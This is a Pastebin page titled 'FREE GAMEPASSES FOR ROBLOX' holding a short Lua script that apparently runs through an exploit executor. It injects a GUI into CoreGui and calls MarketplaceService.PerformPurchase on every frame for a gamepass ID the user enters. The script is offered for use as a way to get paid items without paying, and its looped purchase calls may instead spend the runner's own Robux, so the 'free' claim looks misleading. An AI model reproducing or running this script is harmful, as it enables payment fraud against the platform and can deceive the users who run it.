SirMeme

[GUI] FREE GAMEPASSES FOR ROBLOX

Mar 30th, 2019
27,373
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.01 KB | None | 0 0
  1. gui = Instance.new('ScreenGui',game:GetService("CoreGui"))
  2. frame = Instance.new('Frame',gui)
  3. frame.Size = UDim2.new(0.2,0,0.05,0)
  4. frame.Position = UDim2.new(0.8,0,0.4,0)
  5. tbox = Instance.new('TextBox',frame)
  6. tbox.Size = UDim2.new(0.8,0,1,0)
  7. tbox.Text = 'gamepassid'
  8. tbutton = Instance.new('TextButton',frame)
  9. tbutton.Size = UDim2.new(0.2,0,1,0)
  10. tbutton.Position = UDim2.new(0.8,0,0,0)
  11. tbutton.Text = 'off'
  12. market = game:GetService("MarketplaceService")
  13. http = game:GetService("HttpService")
  14. tbutton.MouseButton1Down:connect(function()
  15. if tbutton.Text=='off' then
  16. gamePassId = tonumber(tbox.Text)
  17. info = market:GetProductInfo(gamePassId, Enum.InfoType.GamePass)
  18. connection = game:GetService("RunService").Stepped:connect(function()
  19. pcall(market.PerformPurchase,market,Enum.InfoType.Asset, info["ProductId"], info["PriceInRobux"], http:GenerateGUID(false))
  20. end)
  21. tbutton.Text = 'on'
  22. else
  23. connection:Disconnect()
  24. tbutton.Text = 'off'
  25. end
  26. end)
Add Comment
Please, Sign In to add comment